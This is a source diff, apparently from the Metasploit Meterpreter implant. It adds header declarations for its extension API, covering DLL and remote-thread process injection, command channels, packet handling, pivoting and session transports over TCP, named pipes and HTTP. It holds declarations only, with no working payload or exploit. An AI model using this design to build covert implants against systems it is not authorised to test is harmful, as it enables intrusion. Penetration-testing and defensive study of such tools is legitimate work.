struct _NODE * prev; ///< Pointer to the previous node in the list.
|
||||
LPVOID data; ///< Reference to the data in the list node.
|
||||
} NODE, *PNODE;
|
||||
|
||||
/*! @brief Container structure for a list instance. */
|
||||
typedef struct _LIST
|
||||
{
|
||||
NODE * start; ///< Pointer to the first node in the list.
|
||||
NODE * end; ///< Pointer to the last node in the list.
|
||||
DWORD count; ///< Count of elements in the list.
|
||||
LOCK * lock; ///< Reference to the list's synchronisation lock.
|
||||
} LIST, *PLIST;
|
||||
|
||||
typedef BOOL (*PLISTENUMCALLBACK)(LPVOID pState, LPVOID pData);
|
||||
typedef VOID (*PCLEARFUNC)(LPVOID pData);
|
||||
|
||||
#endif
|
177
c/meterpreter/source/common/common_metapi.h
Normal file
177
c/meterpreter/source/common/common_metapi.h
Normal file
@ -0,0 +1,177 @@
|
||||
/*!
|
||||
* @file common_metapi.h
|
||||
* @brief Declarations for the Metepreter API to be used by extensions.
|
||||
*/
|
||||
#ifndef _METERPRETER_COMMON_METAPI_H
|
||||
#define _METERPRETER_COMMON_METAPI_H
|
||||
|
||||
typedef struct _InjectApi
|
||||
{
|
||||
DWORD(*dll)(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char* cpCommandLine);
|
||||
DWORD(*via_apcthread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
|
||||
DWORD(*via_remotethread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
|
||||
DWORD(*via_remotethread_wow64)(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* pThread);
|
||||
} InjectApi;
|
||||
|
||||
typedef struct _ChannelApi
|
||||
{
|
||||
BOOL(*exists)(Channel* channel);
|
||||
BOOL(*is_interactive)(Channel* channel);
|
||||
BOOLEAN(*is_flag)(Channel* channel, ULONG flag);
|
||||
Channel*(*create)(DWORD identifier, DWORD flags);
|
||||
Channel*(*create_datagram)(DWORD identifier, DWORD flags, DatagramChannelOps* ops);
|
||||
Channel*(*create_pool)(DWORD identifier, DWORD flags, PoolChannelOps* ops);
|
||||
Channel*(*create_stream)(DWORD identifier, DWORD flags, StreamChannelOps* ops);
|
||||
Channel*(*find_by_id)(DWORD id);
|
||||
DWORD(*close)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, ChannelCompletionRoutine* completionRoutine);
|
||||
DWORD(*default_io_handler)(Channel* channel, ChannelBuffer* buffer, LPVOID context, ChannelDioMode mode, PUCHAR chunk, ULONG length, PULONG bytesXfered);
|
||||
DWORD(*get_class)(Channel* channel);
|
||||
DWORD(*get_id)(Channel* channel);
|
||||
DWORD(*interact)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, BOOL enable, ChannelCompletionRoutine* completionRoutine);
|
||||
DWORD(*open)(Remote* remote, Tlv* addend, DWORD addendLength, ChannelCompletionRoutine* completionRoutine);
|
||||
DWORD(*read)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, ULONG length, ChannelCompletionRoutine* completionRoutine);
|
||||
DWORD(*read_from_buffered)(Channel* channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesRead);
|
||||
DWORD(*write)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, PUCHAR buffer, ULONG length, ChannelCompletionRoutine* completionRoutine);
|
||||
DWORD(*write_to_buffered)(Channel* channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten);
|
||||
DWORD(*write_to_remote)(Remote* remote, Channel* channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten);
|
||||
LPVOID(*get_native_io_context)(Channel* channel);
|
||||
PCHAR(*get_type)(Channel* channel);
|
||||
PVOID(*get_buffered_io_context)(Channel* channel);
|
||||
ULONG(*get_flags)(Channel* channel);
|
||||
VOID(*destroy)(Channel* channel, Packet* request);
|
||||
VOID(*set_buffered_io_handler)(Channel* channel, LPVOID dioContext, DirectIoHandler dio);
|
||||
VOID(*set_flags)(Channel* channel, ULONG flags);
|
||||
VOID(*set_interactive)(Channel* channel, BOOL interactive);
|
||||
VOID(*set_native_io_context)(Channel* channel, LPVOID context);
|
||||
VOID(*set_type)(Channel* channel, PCHAR type);
|
||||
} ChannelApi;
|
||||
|
||||
typedef struct _LockApi
|
||||
{
|
||||
LOCK* (*create)();
|
||||
VOID(*acquire)(LOCK* lock);
|
||||
VOID(*destroy)(LOCK* lock);
|
||||
VOID(*release)(LOCK* lock);
|
||||
} LockApi;
|
||||
|
||||
typedef struct _EventApi
|
||||
{
|
||||
BOOL(*destroy)(EVENT* event);
|
||||
BOOL(*poll)(EVENT* event, DWORD timeout);
|
||||
BOOL(*signal)(EVENT* event);
|
||||
EVENT*(*create)();
|
||||
} EventApi;
|
||||
|
||||
typedef struct _ThreadApi
|
||||
{
|
||||
BOOL(*destroy)(THREAD* thread);
|
||||
BOOL(*join)(THREAD* thread);
|
||||
BOOL(*kill)(THREAD* thread);
|
||||
BOOL(*run)(THREAD* thread);
|
||||
BOOL(*sigterm)(THREAD* thread);
|
||||
THREAD*(*create)(THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3);
|
||||
THREAD*(*open)();
|
||||
HANDLE(*create_remote)(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId);
|
||||
HANDLE(*update_token)( Remote *remote, HANDLE token );
|
||||
} ThreadApi;
|
||||
|
||||
typedef struct _DesktopApi
|
||||
{
|
||||
VOID(*update)( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName );
|
||||
} DesktopApi;
|
||||
|
||||
typedef struct _SchedulerApi
|
||||
{
|
||||
DWORD(*initialize)(Remote* remote);
|
||||
DWORD(*destroy)();
|
||||
DWORD(*insert_waitable)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy);
|
||||
DWORD(*signal_waitable)(HANDLE waitable, SchedulerSignal signal);
|
||||
DWORD(THREADCALL*waitable_thread)(THREAD* thread);
|
||||
} SchedulerApi;
|
||||
|
||||
typedef struct _PacketApi
|
||||
{
|
||||
BOOL(*get_tlv_value_bool)(Packet* packet, TlvType type);
|
||||
BYTE*(*get_tlv_value_raw)(Packet* packet, TlvType type);
|
||||
DWORD(*add_completion_handler)(LPCSTR requestId, PacketRequestCompletion* completion);
|
||||
DWORD(*add_exception)(Packet* packet, DWORD code, PCHAR fmt, ...);
|
||||
DWORD(*add_group)(Packet* packet, TlvType type, Packet* groupPacket);
|
||||
DWORD(*add_request_id)(Packet* packet);
|
||||
DWORD(*add_tlv_bool)(Packet* packet, TlvType type, BOOL val);
|
||||
DWORD(*add_tlv_group)(Packet* packet, TlvType type, Tlv* entries, DWORD numEntries);
|
||||
DWORD(*add_tlv_qword)(Packet* packet, TlvType type, QWORD val);
|
||||
DWORD(*add_tlv_raw)(Packet* packet, TlvType type, LPVOID buf, DWORD length);
|
||||
DWORD(*add_tlv_string)(Packet* packet, TlvType type, LPCSTR str);
|
||||
DWORD(*add_tlv_uint)(Packet* packet, TlvType type, UINT val);
|
||||
DWORD(*add_tlv_wstring)(Packet* packet, TlvType type, LPCWSTR str);
|
||||
DWORD(*add_tlv_wstring_len)(Packet* packet, TlvType type, LPCWSTR str, size_t strLength);
|
||||
DWORD(*add_tlvs)(Packet* packet, Tlv* entries, DWORD numEntries);
|
||||
DWORD(*call_completion_handlers)(Remote* remote, Packet* response, LPCSTR requestId);
|
||||
DWORD(*enum_tlv)(Packet* packet, DWORD index, TlvType type, Tlv* tlv);
|
||||
DWORD(*get_tlv)(Packet* packet, TlvType type, Tlv* tlv);
|
||||
DWORD(*get_tlv_group_entry)(Packet* packet, Tlv* group, TlvType type, Tlv* entry);
|
||||
DWORD(*get_tlv_string)(Packet* packet, TlvType type, Tlv* tlv);
|
||||
DWORD(*is_tlv_null_terminated)(Tlv* tlv);
|
||||
DWORD(*remove_completion_handler)(LPCSTR requestId);
|
||||
DWORD(*transmit)(Remote* remote, Packet* packet, PacketRequestCompletion* completion);
|
||||
DWORD(*transmit_empty_response)(Remote* remote, Packet* packet, DWORD res);
|
||||
DWORD(*transmit_response)(DWORD result, Remote* remote, Packet* response);
|
||||
PCHAR(*get_tlv_value_string)(Packet* packet, TlvType type);
|
||||
Packet*(*create)(PacketTlvType type, LPCSTR method);
|
||||
Packet*(*create_group)();
|
||||
Packet*(*create_response)(Packet* request);
|
||||
PacketTlvType(*get_type)(Packet* packet);
|
||||
QWORD(*get_tlv_value_qword)(Packet* packet, TlvType type);
|
||||
TlvMetaType(*get_tlv_meta)(Packet* packet, Tlv* tlv);
|
||||
UINT(*get_tlv_value_uint)(Packet* packet, TlvType type);
|
||||
VOID(*destroy)(Packet* packet);
|
||||
wchar_t*(*get_tlv_value_wstring)(Packet* packet, TlvType type);
|
||||
} PacketApi;;
|
||||
|
||||
typedef struct _CommandApi
|
||||
{
|
||||
void(*deregister_all)(Command commands[]);
|
||||
void(*register_all)(Command commands[]);
|
||||
BOOL(*handle)(Remote* remote, Packet* packet);
|
||||
} CommandApi;
|
||||
|
||||
typedef struct _StringApi
|
||||
{
|
||||
wchar_t*(*utf8_to_wchar)(const char* in);
|
||||
char*(*wchar_to_utf8)(const wchar_t* in);
|
||||
} StringApi;
|
||||
|
||||
typedef struct _ListApi
|
||||
{
|
||||
BOOL(*add)(PLIST pList, LPVOID data);
|
||||
BOOL(*clear)(PLIST pList, PCLEARFUNC pFunc);
|
||||
BOOL(*enumerate)(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState);
|
||||
BOOL(*push)(PLIST pList, LPVOID data);
|
||||
BOOL(*remove)(PLIST pList, LPVOID data);
|
||||
BOOL(*remove_at)(PLIST pList, DWORD index);
|
||||
DWORD(*count)(PLIST pList);
|
||||
LIST*(*create)(VOID);
|
||||
LPVOID(*get)(PLIST pList, DWORD index);
|
||||
LPVOID(*pop)(PLIST pList);
|
||||
LPVOID(*shift)(PLIST pList);
|
||||
VOID(*destroy)(PLIST pList);
|
||||
} ListApi;
|
||||
|
||||
typedef struct _MetApi
|
||||
{
|
||||
PacketApi packet;
|
||||
CommandApi command;
|
||||
ThreadApi thread;
|
||||
LockApi lock;
|
||||
EventApi event;
|
||||
ChannelApi channel;
|
||||
SchedulerApi scheduler;
|
||||
StringApi string;
|
||||
InjectApi inject;
|
||||
DesktopApi desktop;
|
||||
ListApi list;
|
||||
} MetApi;
|
||||
|
||||
extern MetApi* met_api;
|
||||
|
||||
#endif
|
23
c/meterpreter/source/common/common_pivot_tree.h
Normal file
23
c/meterpreter/source/common/common_pivot_tree.h
Normal file
@ -0,0 +1,23 @@
|
||||
#ifndef _METERPRETER_COMMON_PIVOT_TREE_H
|
||||
#define _METERPRETER_COMMON_PIVOT_TREE_H
|
||||
|
||||
typedef DWORD(*PivotWritePacket)(LPVOID state, LPBYTE rawPacket, DWORD rawPacketLength);
|
||||
typedef DWORD(*PivotRemove)(LPVOID state);
|
||||
|
||||
typedef struct _PivotContext
|
||||
{
|
||||
PivotWritePacket packet_write;
|
||||
PivotRemove remove;
|
||||
LPVOID state;
|
||||
} PivotContext;
|
||||
|
||||
typedef struct _PivotNode PivotNode;
|
||||
|
||||
typedef struct _PivotTree
|
||||
{
|
||||
PivotNode* head;
|
||||
} PivotTree;
|
||||
|
||||
typedef void(*PivotTreeTraverseCallback)(LPBYTE guid, PivotContext* ctx, LPVOID state);
|
||||
|
||||
#endif
|
347
c/meterpreter/source/common/remote.h → c/meterpreter/source/common/common_remote.h
Executable file → Normal file
347
c/meterpreter/source/common/remote.h → c/meterpreter/source/common/common_remote.h
Executable file → Normal file
@ -1,177 +1,170 @@
|
||||
/*!
|
||||
* @file remote.h
|
||||
* @brief Declarations of functions and types that interact with a remote endpoint.
|
||||
*/
|
||||
#ifndef _METERPRETER_LIB_REMOTE_H
|
||||
#define _METERPRETER_LIB_REMOTE_H
|
||||
|
||||
#include "thread.h"
|
||||
#include "config.h"
|
||||
#include "pivot_tree.h"
|
||||
|
||||
/*! @brief This is the size of the certificate hash that is validated (sha1) */
|
||||
#define CERT_HASH_SIZE 20
|
||||
|
||||
typedef wchar_t CHARTYPE;
|
||||
typedef CHARTYPE* STRTYPE;
|
||||
|
||||
// Forward declarations required to keep compilers happy.
|
||||
typedef struct _Packet Packet;
|
||||
typedef struct _PacketRequestCompletion PacketRequestCompletion;
|
||||
typedef struct _Transport Transport;
|
||||
typedef struct _SslLib SslLib;
|
||||
typedef struct _Remote Remote;
|
||||
typedef struct _TimeoutSettings TimeoutSettings;
|
||||
typedef struct _HttpTransportContext HttpTransportContext;
|
||||
typedef struct _PacketEncryptionContext PacketEncryptionContext;
|
||||
|
||||
typedef UINT_PTR(*PTransportGetHandle)(Transport* transport);
|
||||
typedef DWORD(*PTransportGetConfigSize)(Transport* transport);
|
||||
typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle);
|
||||
typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
|
||||
typedef BOOL(*PTransportInit)(Transport* transport);
|
||||
typedef BOOL(*PTransportDeinit)(Transport* transport);
|
||||
typedef void(*PTransportDestroy)(Transport* transport);
|
||||
typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer);
|
||||
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
|
||||
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
|
||||
typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
|
||||
|
||||
typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
|
||||
typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength);
|
||||
|
||||
typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction);
|
||||
typedef BOOL(*PSendHttpRequest)(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size);
|
||||
typedef BOOL(*PCloseRequest)(HANDLE hReq);
|
||||
typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx);
|
||||
typedef BOOL(*PReceiveResponse)(HANDLE hReq);
|
||||
typedef BOOL(*PReadResponse)(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead);
|
||||
|
||||
typedef struct _TimeoutSettings
|
||||
{
|
||||
/*! @ brief The total number of seconds to wait for a new packet before killing off the session. */
|
||||
int comms;
|
||||
/*! @ brief The total number of seconds to keep retrying for before a new session is established. */
|
||||
UINT retry_total;
|
||||
/*! @ brief The number of seconds to wait between reconnects. */
|
||||
UINT retry_wait;
|
||||
} TimeoutSettings;
|
||||
|
||||
typedef struct _TcpTransportContext
|
||||
{
|
||||
SOCKET fd; ///! Remote socket file descriptor.
|
||||
SOCKET listen; ///! Listen socket descriptor, if any.
|
||||
} TcpTransportContext;
|
||||
|
||||
typedef struct _NamedPipeTransportContext
|
||||
{
|
||||
STRTYPE pipe_name; ///! Name of the pipe in '\\<server>\<name>' format
|
||||
HANDLE pipe; ///! Reference to the named pipe handle.
|
||||
LOCK* write_lock; ///! Reference to the thread write lock.
|
||||
} NamedPipeTransportContext;
|
||||
|
||||
typedef struct _HttpTransportContext
|
||||
{
|
||||
BOOL ssl; ///! Flag indicating whether the connection uses SSL.
|
||||
HANDLE internet; ///! Handle to the internet module for use with HTTP and HTTPS.
|
||||
HANDLE connection; ///! Handle to the HTTP or HTTPS connection.
|
||||
unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate
|
||||
|
||||
CSTRTYPE url; ///! Pointer to the URL stored with the transport.
|
||||
STRTYPE ua; ///! User agent string.
|
||||
STRTYPE uri; ///! UUID encoded as a URI.
|
||||
STRTYPE new_uri; ///! New URI for stageless URI switches
|
||||
STRTYPE proxy; ///! Proxy details.
|
||||
STRTYPE proxy_user; ///! Proxy username.
|
||||
STRTYPE proxy_pass; ///! Proxy password.
|
||||
STRTYPE custom_headers; ///! List of custom headers to add to outgoing requests.
|
||||
|
||||
BOOL proxy_configured; ///! Indication of whether the proxy has been configured.
|
||||
LPVOID proxy_for_url; ///! Pointer to the proxy for the current url (if required).
|
||||
|
||||
BOOL move_to_wininet; ///! If set, winhttp is busted, and we need to move to wininet.
|
||||
|
||||
PCreateHttpRequest create_req; ///! WinHTTP/WinINET specific request creation.
|
||||
PSendHttpRequest send_req; ///! WinHTTP/WinINET specifc request sending.
|
||||
PCloseRequest close_req; ///! WinHTTP/WinINET specifc request closing.
|
||||
PValidateResponse validate_response; ///! WinHTTP/WinINET specific response validation.
|
||||
PReceiveResponse receive_response; ///! WinHttp/WinINET specific response data reception.
|
||||
PReadResponse read_response; ///! WinHttp/WinINET specific response data reading.
|
||||
} HttpTransportContext;
|
||||
|
||||
typedef struct _Transport
|
||||
{
|
||||
DWORD type; ///! The type of transport in use.
|
||||
PTransportGetHandle get_handle; ///! Function to get the socket/handle from the transport.
|
||||
PTransportSetHandle set_handle; ///! Function to set the socket/handle on the transport.
|
||||
PTransportGetConfigSize get_config_size; ///! Function to get the size of the configuration for the transport.
|
||||
PTransportReset transport_reset; ///! Function to reset/clean the transport ready for restarting.
|
||||
PTransportInit transport_init; ///! Initialises the transport.
|
||||
PTransportDeinit transport_deinit; ///! Deinitialises the transport.
|
||||
PTransportDestroy transport_destroy; ///! Destroy the transport.
|
||||
PServerDispatch server_dispatch; ///! Transport dispatch function.
|
||||
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
|
||||
PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific.
|
||||
STRTYPE url; ///! Full URL describing the comms in use.
|
||||
VOID* ctx; ///! Pointer to the type-specific transport context;
|
||||
TimeoutSettings timeouts; ///! Container for the timeout settings.
|
||||
int comms_last_packet; ///! Unix timestamp of the last packet received.
|
||||
struct _Transport* next_transport; ///! Pointer to the next transport in the list.
|
||||
struct _Transport* prev_transport; ///! Pointer to the previous transport in the list.
|
||||
} Transport;
|
||||
|
||||
/*!
|
||||
* @brief Remote context allocation.
|
||||
* @details Wraps the initialized file descriptor for extension purposes.
|
||||
* A \c Remote is effectively a pointer to a remote client context
|
||||
* which contains magic pixie dust that identifies the connection
|
||||
* along with a way to interact with it.
|
||||
* @remark The `Original` and `Current` members are used to allow for
|
||||
* functionality such as `rev2self` and reverting back to the initial
|
||||
* desktop stations/desktops.
|
||||
*/
|
||||
typedef struct _Remote
|
||||
{
|
||||
HMODULE met_srv; ///! Reference to the Meterpreter server instance.
|
||||
|
||||
PConfigCreate config_create; ///! Pointer to the function that will create a configuration block from the curren setup.
|
||||
|
||||
Transport* transport; ///! Pointer to the currently used transport mechanism in a circular list of transports
|
||||
Transport* next_transport; ///! Set externally when transports are requested to be changed.
|
||||
DWORD next_transport_wait; ///! Number of seconds to wait before going to the next transport (used for sleeping).
|
||||
|
||||
MetsrvConfig* orig_config; ///! Pointer to the original configuration.
|
||||
|
||||
LOCK* lock; ///! General transport usage lock (used by SSL, and desktop stuff too).
|
||||
|
||||
HANDLE server_thread; ///! Handle to the current server thread.
|
||||
HANDLE server_token; ///! Handle to the current server security token.
|
||||
HANDLE thread_token; ///! Handle to the current thread security token.
|
||||
|
||||
DWORD orig_sess_id; ///! ID of the original Meterpreter session.
|
||||
DWORD curr_sess_id; ///! ID of the currently active session.
|
||||
char* orig_station_name; ///! Original station name.
|
||||
char* curr_station_name; ///! Name of the current station.
|
||||
|
||||
char* orig_desktop_name; ///! Original desktop name.
|
||||
char* curr_desktop_name; ///! Name of the current desktop.
|
||||
|
||||
PTransportCreate trans_create; ///! Helper to create transports from configuration.
|
||||
PTransportRemove trans_remove; ///! Helper to remove transports from the current session.
|
||||
|
||||
int sess_expiry_time; ///! Number of seconds that the session runs for.
|
||||
int sess_expiry_end; ///! Unix timestamp for when the server should shut down.
|
||||
int sess_start_time; ///! Unix timestamp representing the session startup time.
|
||||
|
||||
PivotTree* pivot_sessions; ///! Collection of active Meterpreter session pivots.
|
||||
PivotTree* pivot_listeners; ///! Collection of active Meterpreter pivot listeners.
|
||||
|
||||
PacketEncryptionContext* enc_ctx; ///! Reference to the packet encryption context.
|
||||
} Remote;
|
||||
|
||||
Remote* remote_allocate();
|
||||
VOID remote_deallocate(Remote *remote);
|
||||
|
||||
VOID remote_set_fd(Remote *remote, SOCKET fd);
|
||||
|
||||
#endif
|
||||
/*!
|
||||
* @file remote.h
|
||||
* @brief Declarations of functions and types that interact with a remote endpoint.
|
||||
*/
|
||||
#ifndef _METERPRETER_COMMON_REMOTE_H
|
||||
#define _METERPRETER_COMMON_REMOTE_H
|
||||
|
||||
#include "common_thread.h"
|
||||
#include "common_config.h"
|
||||
#include "common_pivot_tree.h"
|
||||
|
||||
/*! @brief This is the size of the certificate hash that is validated (sha1) */
|
||||
#define CERT_HASH_SIZE 20
|
||||
|
||||
typedef wchar_t CHARTYPE;
|
||||
typedef CHARTYPE* STRTYPE;
|
||||
|
||||
// Forward declarations required to keep compilers happy.
|
||||
typedef struct _Packet Packet;
|
||||
typedef struct _PacketRequestCompletion PacketRequestCompletion;
|
||||
typedef struct _Transport Transport;
|
||||
typedef struct _SslLib SslLib;
|
||||
typedef struct _Remote Remote;
|
||||
typedef struct _TimeoutSettings TimeoutSettings;
|
||||
typedef struct _HttpTransportContext HttpTransportContext;
|
||||
typedef struct _PacketEncryptionContext PacketEncryptionContext;
|
||||
|
||||
typedef UINT_PTR(*PTransportGetHandle)(Transport* transport);
|
||||
typedef DWORD(*PTransportGetConfigSize)(Transport* transport);
|
||||
typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle);
|
||||
typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
|
||||
typedef BOOL(*PTransportInit)(Transport* transport);
|
||||
typedef BOOL(*PTransportDeinit)(Transport* transport);
|
||||
typedef void(*PTransportDestroy)(Transport* transport);
|
||||
typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer);
|
||||
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
|
||||
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
|
||||
typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
|
||||
|
||||
typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
|
||||
typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength);
|
||||
|
||||
typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction);
|
||||
typedef BOOL(*PSendHttpRequest)(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size);
|
||||
typedef BOOL(*PCloseRequest)(HANDLE hReq);
|
||||
typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx);
|
||||
typedef BOOL(*PReceiveResponse)(HANDLE hReq);
|
||||
typedef BOOL(*PReadResponse)(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead);
|
||||
|
||||
typedef struct _TimeoutSettings
|
||||
{
|
||||
/*! @ brief The total number of seconds to wait for a new packet before killing off the session. */
|
||||
int comms;
|
||||
/*! @ brief The total number of seconds to keep retrying for before a new session is established. */
|
||||
UINT retry_total;
|
||||
/*! @ brief The number of seconds to wait between reconnects. */
|
||||
UINT retry_wait;
|
||||
} TimeoutSettings;
|
||||
|
||||
typedef struct _TcpTransportContext
|
||||
{
|
||||
SOCKET fd; ///! Remote socket file descriptor.
|
||||
SOCKET listen; ///! Listen socket descriptor, if any.
|
||||
} TcpTransportContext;
|
||||
|
||||
typedef struct _NamedPipeTransportContext
|
||||
{
|
||||
STRTYPE pipe_name; ///! Name of the pipe in '\\<server>\<name>' format
|
||||
HANDLE pipe; ///! Reference to the named pipe handle.
|
||||
LOCK* write_lock; ///! Reference to the thread write lock.
|
||||
} NamedPipeTransportContext;
|
||||
|
||||
typedef struct _HttpTransportContext
|
||||
{
|
||||
BOOL ssl; ///! Flag indicating whether the connection uses SSL.
|
||||
HANDLE internet; ///! Handle to the internet module for use with HTTP and HTTPS.
|
||||
HANDLE connection; ///! Handle to the HTTP or HTTPS connection.
|
||||
unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate
|
||||
|
||||
CSTRTYPE url; ///! Pointer to the URL stored with the transport.
|
||||
STRTYPE ua; ///! User agent string.
|
||||
STRTYPE uri; ///! UUID encoded as a URI.
|
||||
STRTYPE new_uri; ///! New URI for stageless URI switches
|
||||
STRTYPE proxy; ///! Proxy details.
|
||||
STRTYPE proxy_user; ///! Proxy username.
|
||||
STRTYPE proxy_pass; ///! Proxy password.
|
||||
STRTYPE custom_headers; ///! List of custom headers to add to outgoing requests.
|
||||
|
||||
BOOL proxy_configured; ///! Indication of whether the proxy has been configured.
|
||||
LPVOID proxy_for_url; ///! Pointer to the proxy for the current url (if required).
|
||||
|
||||
BOOL move_to_wininet; ///! If set, winhttp is busted, and we need to move to wininet.
|
||||
|
||||
PCreateHttpRequest create_req; ///! WinHTTP/WinINET specific request creation.
|
||||
PSendHttpRequest send_req; ///! WinHTTP/WinINET specifc request sending.
|
||||
PCloseRequest close_req; ///! WinHTTP/WinINET specifc request closing.
|
||||
PValidateResponse validate_response; ///! WinHTTP/WinINET specific response validation.
|
||||
PReceiveResponse receive_response; ///! WinHttp/WinINET specific response data reception.
|
||||
PReadResponse read_response; ///! WinHttp/WinINET specific response data reading.
|
||||
} HttpTransportContext;
|
||||
|
||||
typedef struct _Transport
|
||||
{
|
||||
DWORD type; ///! The type of transport in use.
|
||||
PTransportGetHandle get_handle; ///! Function to get the socket/handle from the transport.
|
||||
PTransportSetHandle set_handle; ///! Function to set the socket/handle on the transport.
|
||||
PTransportGetConfigSize get_config_size; ///! Function to get the size of the configuration for the transport.
|
||||
PTransportReset transport_reset; ///! Function to reset/clean the transport ready for restarting.
|
||||
PTransportInit transport_init; ///! Initialises the transport.
|
||||
PTransportDeinit transport_deinit; ///! Deinitialises the transport.
|
||||
PTransportDestroy transport_destroy; ///! Destroy the transport.
|
||||
PServerDispatch server_dispatch; ///! Transport dispatch function.
|
||||
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
|
||||
PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific.
|
||||
STRTYPE url; ///! Full URL describing the comms in use.
|
||||
VOID* ctx; ///! Pointer to the type-specific transport context;
|
||||
TimeoutSettings timeouts; ///! Container for the timeout settings.
|
||||
int comms_last_packet; ///! Unix timestamp of the last packet received.
|
||||
struct _Transport* next_transport; ///! Pointer to the next transport in the list.
|
||||
struct _Transport* prev_transport; ///! Pointer to the previous transport in the list.
|
||||
} Transport;
|
||||
|
||||
/*!
|
||||
* @brief Remote context allocation.
|
||||
* @details Wraps the initialized file descriptor for extension purposes.
|
||||
* A \c Remote is effectively a pointer to a remote client context
|
||||
* which contains magic pixie dust that identifies the connection
|
||||
* along with a way to interact with it.
|
||||
* @remark The `Original` and `Current` members are used to allow for
|
||||
* functionality such as `rev2self` and reverting back to the initial
|
||||
* desktop stations/desktops.
|
||||
*/
|
||||
typedef struct _Remote
|
||||
{
|
||||
PConfigCreate config_create; ///! Pointer to the function that will create a configuration block from the curren setup.
|
||||
|
||||
Transport* transport; ///! Pointer to the currently used transport mechanism in a circular list of transports
|
||||
Transport* next_transport; ///! Set externally when transports are requested to be changed.
|
||||
DWORD next_transport_wait; ///! Number of seconds to wait before going to the next transport (used for sleeping).
|
||||
|
||||
MetsrvConfig* orig_config; ///! Pointer to the original configuration.
|
||||
|
||||
LOCK* lock; ///! General transport usage lock (used by SSL, and desktop stuff too).
|
||||
|
||||
HANDLE server_thread; ///! Handle to the current server thread.
|
||||
HANDLE server_token; ///! Handle to the current server security token.
|
||||
HANDLE thread_token; ///! Handle to the current thread security token.
|
||||
|
||||
DWORD orig_sess_id; ///! ID of the original Meterpreter session.
|
||||
DWORD curr_sess_id; ///! ID of the currently active session.
|
||||
char* orig_station_name; ///! Original station name.
|
||||
char* curr_station_name; ///! Name of the current station.
|
||||
|
||||
char* orig_desktop_name; ///! Original desktop name.
|
||||
char* curr_desktop_name; ///! Name of the current desktop.
|
||||
|
||||
PTransportCreate trans_create; ///! Helper to create transports from configuration.
|
||||
PTransportRemove trans_remove; ///! Helper to remove transports from the current session.
|
||||
|
||||
int sess_expiry_time; ///! Number of seconds that the session runs for.
|
||||
int sess_expiry_end; ///! Unix timestamp for when the server should shut down.
|
||||
int sess_start_time; ///! Unix timestamp representing the session startup time.
|
||||
|
||||
PivotTree* pivot_sessions; ///! Collection of active Meterpreter session pivots.
|
||||
PivotTree* pivot_listeners; ///! Collection of active Meterpreter pivot listeners.
|
||||
|
||||
PacketEncryptionContext* enc_ctx; ///! Reference to the packet encryption context.
|
||||
} Remote;
|
||||
|
||||
#endif
|
14
c/meterpreter/source/common/common_scheduler.h
Normal file
14
c/meterpreter/source/common/common_scheduler.h
Normal file
@ -0,0 +1,14 @@
|
||||
#ifndef _METERPRETER_COMMON_SCHEDULER_H
|
||||
#define _METERPRETER_COMMON_SCHEDULER_H
|
||||
|
||||
typedef enum
|
||||
{
|
||||
SchedulerPause = 1,
|
||||
SchedulerResume = 2,
|
||||
SchedulerStop = 3
|
||||
} SchedulerSignal;
